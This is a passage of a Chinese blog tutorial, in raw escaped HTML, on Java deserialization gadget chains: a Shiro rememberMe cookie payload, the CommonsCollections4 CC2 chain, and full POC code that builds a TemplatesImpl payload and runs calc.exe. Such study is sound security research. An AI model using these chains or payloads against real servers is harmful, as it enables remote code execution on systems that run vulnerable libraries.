close\nReferer: http:\/\/localhost:8080\/shirodemo_war\/login.jsp;jsessionid=9F501E9D8F627986EB016F32C3738C4A\nCookie: rememberMe=ShvUbGVpAyg+IP1UyVTfFJqUxHgYWYgSDEyy5Cznyx+x0JtIkDC5BxN7gxwpMupsmC3Hd3YMqz3BOELOq9bSBeQ+zp3kEXcVXOzbwthgIrjRuClUhv7pA0NyTRSQdTK\/4CrcXNZPtd2Ysq2V39bFs1QSbUo3S3iN56wMDjG8f4wX41oWZ8xajixQD+VDYYu4Qc5hQCDQmkPnxf36y0PfPEMX\/C\/IR+vFAZ0RxgDFUpo6ho4K2dsKyeZ7mbv0VbbnPpwp8wf\/LPFyDqVV+PvR0Aw2fYoDXGBe8OPqTxkJBqmJKQd4mDXjX82mFBWYSyl4CZRiq+9MWihEI\/Ptwbd\/5s0\/3gy+HXBIlsGQ9hiIQFy5gXLehiAkxzOz4\/07W3iC6qC6A94a66M+jddPlMiK6doX0ZzsGUzDCwB8sVXrjIY\/Q3HKp8DpZ9JZDjYl9r1RJ6+MYNlSiQUdYAcU54nMWbA4y\/jXDWUi\/XV5tZ5pcyUWOfC0Lib6O3Z6OzRpQVBNwbw7O98W7MqSEYYru+iB6QkYbixWIv8FXqMrUW0+Dl85X5fQCNnp6bu71ZPNi4GdyxMlT\/z94uHvHCk0hfbGo5MFvhmpRjXnqNydqmg6EC8aQfzg\/A3osRlMdu2bQPANTeChne\/pbzrhM5xcBcQbqHoQfuwu5XlS5qwVIG4ZKmY0k52VJaexe71UKSIhmqCwKpVOS6x0Nsqj8a2mp1BjE9MR36zNT8w1Qc4SJ9Ep9BBN\/HaLHpKUcPuCIWvEahCC9jiwLKiWQD\/ipHJlxWEWa+iDXecLO\/SEjGqAxwg\/WQOcYf7Bp+A4I3V5Z3n7ZsfdlP01jFe\/64ODiCoYVBA7HtqnJEdOhdQA+WaGG2wf517S1P\/O6cY\/A07TVoJ5TsNLzi2PEw54RyXm\/acqA53sp8Zr5+dtf4T83VFeJPimBXwTQQ7HaR8LvF6aggPc6GR8Fj4Z6fsj7j3fn2sSEToz1h2JmAocUcYy6zWf7ZHE6nHEUAQApZppi+4w6fRjrF4yA2yUIGcAfWZGuaXsTJZYidVgJQyeApp9qZFm5P7FLkeZtiJ12rPz2Bqws1Ty45xJ80lh+c2nnMWPbhBA3NrOMgnm+y1hKlzRcXc8ZB0UsCNQlsP6NaFOzL3OB5c0AlSKq5IY\/g4LQiY\/\/hQzubzd2eDMPveks4hCy+oIQHUC2S0ep9skxbpAXnHu5q\/vBOvxOrK06dg1OG0WbgRMKXYyDKGmik07HNaZ9yK3Ofbw9LjE1WSLVFudN8QMuHPg5gbL0P0q40wfZMF0HMW4uIupLa2mHHC7mm9l\/s6v8\/GdNJI62nFK7uOAkzN\/2d+v2a7gxt5ZfeW0PiCywjYpPN3M4jzyvhOpppR1NHK7ZTrSGdgs5X56Yw9SIaJg+MBTMIvibb6ZWJAIKQhw7xudpj6ar5gs2wBu\/+PTNaXL6+2pmXUqzASrzD8HAf91XTVPEvffDm7RYv5jraoWsaWCKS\/keeJXLm5y+G72pRn0eyJYiGsAR8RzbXI6o8Xz5kVeBX6qzR4nvxaDoiNaovh7uXsSA\/lxj635+NYdGMw5XA7qTbT44ZxDYX0lWOCzGnfapyvuC9pXdXKkGG2b5VV1E7ZyqoSiwKo641vqmzW9norWooqCRsXoc4B4A2nofLdhDygle1MsiZV+ER0J8BLDDMEV6VKVeB3KYkt9A\/h3H8700fjVaMxOh+o0sidNvHcOqHeEX+DFqbLf54imCBKcvoO1CNAFk2IKhbVA6+bvL4ae8dU\/y6y8wyvuKJxOjtm9PjSLDaye1Z7zgMsj2jiXBbRFUh\/oEgdH9lHv+pH11Ky9Oh9vGtpKUHv45galNY2lwaOt8uG5pqxW6VS8hp4t\/W+b72wcxPGn849O4iQOLaWe7JJbVz6iJpYW8FizStowgKyk8wg3aE1hDfWsrrXtp2EiruVdaUKNYGJKW9jHOZogx3N31rLuU1OpMNSiSoxQHInXyKbFocPevHLocgT2I5iUmOoBUyULTuUxjBYy9Prqf8GaUVuFyZ3fumSZVMmRAlEqIplJvv6j4hMzcLKrZcK0zKPHn7wVedsDDksGmbADS3+I64bhl8LW98SI+4gdTcjn1W4JrrnyYoMxeKE8c5JIbeZ0e+hHtyIy85jvU1T\/EfwjO5ynG3BHOMEBvWXKOWZ17KPxmg6GIjqLf1gyzc8pWyzhQeffxtvemkQvHPT5NLmIByYcVidLKg6CuR4fUVYBofxJLvhrG1s0xzBgtOqy9WxYB1Jq58PLjRsYzZ4HUtTEY5REV+30+q3RJec7g45I96zmWIqKmIESWdMOT+C8sW7M11AGnXn0bKFPDqcFh8LzoMmM1Lji1etnPemBvK+mDVD\/9TpOLlDLzVkUWEQiJSoBVguKKDQdJNZo0Kq9Q\/\/ks6tvQZIg+2tqj2WeVfrpED4d3zggre2WaEYxe0BdIr9VIiSewRLTExgMz0w\/1lzX+9L\/9HzwT8yldFhJl7vbtGmEgOAE2Jv2mXPbKNUM+l5D5TnOOxe1kwtiZSegEqA4hVw0XdwrsaKBC8D9CzU7P\/7cmIRyctvXzKG2rOf3zWxILosj\/yfCZTwL0756AX6fbrwJkTZMHf+vJITA1fcedntc0yUr\/2ygbyRP+PKb2l6rOUB5yUEcvIZapQctDI82jP2ZnsZMOQ0HcrtQUPqEsRs2uGVIe2y0fmajXG20ztdpdOp152+GBdkxKbZQkvgl69S4vxGwI4fS+lqon142T7tuGhzMG3l\/6CG+TanUI\/WdJ448cAEwZ+BYje0JyrCjfLj9jLX33if7ruauEPU7+GBKY+QlS22\/sg7cInfdFoUgdb6MwRG+OO6RYShc\/eCERapZt7QCZdSZrdLotTC7K4eZSfISN2VRwWIQCXasQ5mY38rMb48gnrNXdclYWzOI2Ein96rRpCz7nbD\/Vcat\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-001953-26-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-001953-26-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">CommonsCollections4<\/h1>\n\n\n\n<p>Apache Commons Collections\u6709\u4e24\u4e2a\u5206\u2f40\u7248\u672c\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>commons-collections:commons-collections<\/li>\n\n\n\n<li>org.apache.commons:commons-collections4<\/li>\n<\/ul>\n\n\n\n<p>\u524d\u8005\u662f\u8001\u7684\u5305\uff0c\u7248\u672c\u53f7\u662f3.2.1\uff0c\u540e\u8005\u662f2013\u5e74\u63a8\u51fa\u7684\u65b0\u7248\u672c\uff0c\u7248\u672c\u53f7\u662f4.0\u3002\u5bf9\u4e8e\u6211\u4eec\u5b89\u5168\u7814\u7a76\u5458\u800c\u8a00\uff0c\u6700\u5927\u7684\u533a\u522b\u5c31\u662f <code>LazyMap.decorate<\/code>&nbsp;\u6ca1\u4e86\uff0c\u88ab\u6362\u6210\u4e86 <code>LazyMap.lazyMap<\/code> \uff0c\u56e0\u6b64\u4e5f\u5c31\u662f\u6362\u4e2a\u540d\u5b57\u7684\u4e8b\u513f\uff0cCC3\u7684\u94fe\u5b50\u6362\u4e00\u4e0b\u540d\u5b57\u4e5f\u8fd8\u662f\u80fd\u6253\u901a\uff0c\u5305\u62ecCC1\u548cCC3\u3002<\/p>\n\n\n\n<p>\u800cyso\u4e3a org.apache.commons:commons-collections4 \u51c6\u5907\u4e86\u4e24\u6761\u65b0\u7684\u5229\u7528\u94fe\uff0c\u90a3\u5c31\u662fCC2\u548cCC4\uff0c\u5728CC\u91cc\u627eGadget\uff0c\u5176\u5b9e\u80fd\u76f4\u63a5\u62bd\u8c61\u6210\u4ece <code>Serializable#readObject()<\/code>&nbsp;\u5bfb\u627e\u5230 <code>Transformer#transform()<\/code>&nbsp;\u8c03\u7528\u94fe\u7684\u8fc7\u7a0b\uff0c\u800c\u5f53\u6211\u4eec\u770b\u5230yso\u7684CC2\u7684Gadget\uff0c\u53ef\u4ee5\u770b\u5230\u5b83\u662f\u901a\u8fc7 <code>PriorityQueue<\/code> \u548c <code>TransformingComparator<\/code> \u5b9e\u73b0\u7684\u8fd9\u4e2a\u8fc7\u7a0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>   Gadget chain:\n      ObjectInputStream.readObject()\n         PriorityQueue.readObject()\n            ...\n               TransformingComparator.compare()\n                  InvokerTransformer.transform()\n                     Method.invoke()\n                        Runtime.exec()<\/code><\/pre>\n\n\n\n<p>\u9996\u5148\uff0c <code>TransformingComparator<\/code> \u7684 <code>compare<\/code> \u65b9\u6cd5\u8c03\u7528\u4e86 transform\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-215023-26-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-215023-26-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:557px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u800c<code> java.util.PriorityQueue<\/code> \uff0c\u5b83\u6709\u4e00\u4e2a\u81ea\u5df1\u7684 <code>readObject()<\/code>\uff0c\u5176\u4e2d\u8c03\u7528\u4e86 <code>heapify <\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-213456-26-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-213456-26-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:559px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u518d\u8ddf\u4e00\u4e0b\u8fd9\u4e2a <code>heapify<\/code>\uff0c\u5b83\u8c03\u7528\u4e86 <code>siftDown<\/code> :<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-215425-26-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-215425-26-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:545px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u518d\u8ddf\u8fd9\u4e2a <code>siftDown<\/code> \uff0c\u5b83\u8c03\u7528\u4e86 <code>siftDownUsingComparator<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-215607-26-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-215607-26-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:584px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u800c\u8fd9\u4e2a <code>siftDownUsingComparator<\/code> \u5c31\u8c03\u7528\u4e86 <code>compare<\/code> \uff0c\u975e\u5e38\u7f8e\u5999\uff0c\u76f4\u63a5\u4e32\u8d77\u6765\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-221056-26-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-221056-26-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:617px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u73b0\u5728\u5f00\u59cb\u6109\u5feb\u7684\u7f16\u5199POC\uff0c\u9996\u5148\u548c\u4e4b\u524d\u4e00\u6837\u521b\u5efatransformer\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transformer&#91;] faketransformer = new Transformer&#91;]{new ChainedTransformer(new Transformer&#91;]{ new ConstantTransformer(1) })};\n\n        Transformer&#91;] transformers = new Transformer&#91;] {\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class&#91;] {\n                        String.class, Class&#91;].class }, new Object&#91;] {\n                        \"getRuntime\", new Class&#91;0] }),\n                new InvokerTransformer(\"invoke\", new Class&#91;] {\n                        Object.class, Object&#91;].class }, new Object&#91;] {\n                        null, new Object&#91;0] }),\n                new InvokerTransformer(\"exec\",\n                        new Class&#91;] { String.class }, new String&#91;]{\"calc.exe\"}),\n                new ConstantTransformer(1) };\n\n\/\/ \u4f20\u5165fake\u9632\u6b62\u5e8f\u5217\u5316\u65f6\u6267\u884c\n        Transformer transformerChain = new ChainedTransformer(faketransformer);\n        Map innerMap = new HashMap();\n        Map outerMap = LazyMap.decorate(innerMap, transformerChain);<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u521b\u5efa\u4e00\u4e2a comparator\uff0c\u628a transformerChain \u4f20\u8fdb\u53bb<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Comparator comparator = new TransformingComparator(transformerChain);<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u5b9e\u4f8b\u5316 PriorityQueue\uff0c\u6ce8\u610f\uff0c\u56e0\u4e3a compare \u9700\u8981\u5728\u4e24\u4e2a\u4e1c\u897f\u4e4b\u95f4\u6bd4\u8f83\uff0c\u6240\u4ee5\u81ea\u7136\u4e5f\u9700\u8981\u4f20\u5165\u4e24\u4e2a\u5355\u4f4d\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u968f\u4fbf\u5199\u5c31\u884c\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5199\u6211\u4eec\u7684comparator\uff0c\u8fd9\u6837\u5728comparator.compare\u7684\u65f6\u5019\uff0c\u5c31\u4f1a\u89e6\u53d1 <code>TransformingComparator#transform<\/code> \uff0c\u7136\u540e\u968f\u4fbf\u52a0\u4e24\u4e2a\u6570\u5b57\u8fdb\u53bb\u6765\u586b\u5145\u8fd9\u4e2a\u4f18\u5148\u961f\u5217\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PriorityQueue queue = new PriorityQueue(2, comparator);\nqueue.add(1);\nqueue.add(2);<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u8bbe\u7f6e\u6076\u610f transformer \u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>setFieldValue(transformerChain, \"iTransformers\", transformers);<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-223703-26-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-223703-26-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:783px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5f53\u7136\uff0c\u8fd9\u91cc\u6211\u4eec\u4e5f\u4e0d\u59a8\u601d\u8003\u4e00\u4e0b\u5982\u4f55\u6784\u9020\u4e00\u4e2a\u65e0\u6570\u7ec4\u7684\u5229\u7528\u94fe\uff0c\u8fd9\u6837\u5c31\u80fd\u7528\u5728shiro\u91cc\u4e5f\u6253\u901a\u4e86\u3002<\/p>\n\n\n\n<p>\u9996\u5148\u521b\u5efa <code>TemplatesImpl<\/code> \u5bf9\u8c61\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>TemplatesImpl obj = new TemplatesImpl();\nsetFieldValue(obj, \"_bytecodes\", new byte&#91;]&#91;]{code});\nsetFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\nsetFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u521b\u5efa\u4eba\u755c\u65e0\u5bb3\u7684 <code>InvokerTransformer<\/code>\uff0c\u7528\u5b83\u5bf9Comparator\u5b9e\u4f8b\u5316\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transformer transformer = new InvokerTransformer(\"toString\", null, null);\nComparator comparator = new TransformingComparator(transformer);<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5b9e\u4f8b\u5316 <code>PriorityQueue<\/code>\uff0c\u6dfb\u52a0\u6076\u610f\u7684 <code>TemplatesImpl<\/code> \u5bf9\u8c61 \uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PriorityQueue queue = new PriorityQueue(2,comparator);\nqueue.add(obj);\nqueue.add(obj);<\/code><\/pre>\n\n\n\n<p>\u4e3a\u4ec0\u4e48\u8fd9\u91cc\u4f7f\u7528 <code>queue.add(obj)<\/code> \u800c\u4e0d\u662fadd(1)\u5462\uff1f\u56e0\u4e3a\u6211\u4eec\u4f7f\u7528 <code>TemplatesImpl<\/code> \u53d6\u4ee3\u4e86 <code>ChainedTransformer<\/code> \uff0c\u90a3\u5982\u4f55\u63a5\u53d7\u6211\u4eec\u6784\u9020\u7684obj\u5462\uff1f\u5176\u5b9e\u5728 <code>Comparator#compare()<\/code> \u65f6\uff0c\u961f\u5217\u2fa5\u7684\u5143\u7d20\u5c06\u4f5c\u4e3a\u53c2\u6570\u4f20\u2f0a <code>transform()<\/code> \u2f45\u6cd5\uff0c\u8fd9\u5c31\u662f\u4f20\u7ed9 <code>TemplatesImpl#newTransformer<\/code> \u7684\u53c2\u6570\uff0c\u6240\u4ee5\u6211\u4eec\u6700\u540e\u4f20\u5165 <code>TemplatesImpl<\/code> \u5bf9\u8c61\uff0c\u5c31\u4f1a\u6210\u529f\u8fdb\u5165 <code>TemplatesImpl#newTransformer<\/code> \u8fdb\u800c\u89e6\u53d1\u94fe\u5b50\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-231212-26-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-231212-26-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:699px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u5b8c\u6574\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.collections4.Transformer;\nimport org.apache.commons.collections4.comparators.TransformingComparator;\nimport org.apache.commons.collections4.functors.InvokerTransformer;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.Comparator;\nimport java.util.PriorityQueue;\n\npublic class newCC2 {\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(\"C:\\\\Users\\\\24254\\\\Desktop\\\\java\u7b14\u8bb0\\\\java-top-speed\\\\src\\\\shiroTest\");\n        CtClass clazzz = pool.get(\"EvilTest\");\n        byte&#91;] code = clazzz.toBytecode();\n        TemplatesImpl obj = new TemplatesImpl();\n        setFieldValue(obj, \"_bytecodes\", new byte&#91;]&#91;]{code});\n        setFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());\n        \/\/ \u65e0\u5bb3transformer\u9632\u6b62\u6784\u9020\u65f6\u89e6\u53d1\n        Transformer transformer = new InvokerTransformer(\"toString\", null, null);\n        Comparator comparator = new TransformingComparator(transformer);\n        PriorityQueue queue = new PriorityQueue(2, comparator);\n        queue.add(obj);\n        queue.add(obj);\n        setFieldValue(transformer, \"iMethodName\", \"newTransformer\");\n\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(queue);\n        oos.close();\n\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object) ois.readObject();\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-231548-26-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-231548-26-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:696px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">CommonsBeanutils1<\/h1>\n\n\n\n<p><strong>Apache Commons BeanUtils<\/strong> \u662f\u4e00\u4e2a Java \u5de5\u5177\u5e93\uff0c\u4e3b\u8981\u7528\u6765\u7b80\u5316\u64cd\u4f5c JavaBean \u7684\u8fc7\u7a0b\uff0c\u6bd4\u5982\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5feb\u901f\u8bbe\u7f6e\/\u83b7\u53d6 JavaBean \u7684\u5c5e\u6027<\/li>\n\n\n\n<li>\u652f\u6301\u901a\u8fc7\u5b57\u7b26\u4e32\u52a8\u6001\u8bbe\u7f6e\u5c5e\u6027\uff08\u751a\u81f3\u5d4c\u5957\u5bf9\u8c61\u7684\u5c5e\u6027\uff09<\/li>\n\n\n\n<li>\u590d\u5236\u5bf9\u8c61\u7684\u5c5e\u6027\u5230\u53e6\u4e00\u4e2a\u5bf9\u8c61<\/li>\n\n\n\n<li>\u7c7b\u578b\u8f6c\u6362\uff08\u6bd4\u5982\u628a\u5b57\u7b26\u4e32 <code>\"123\"<\/code> \u8f6c\u6210 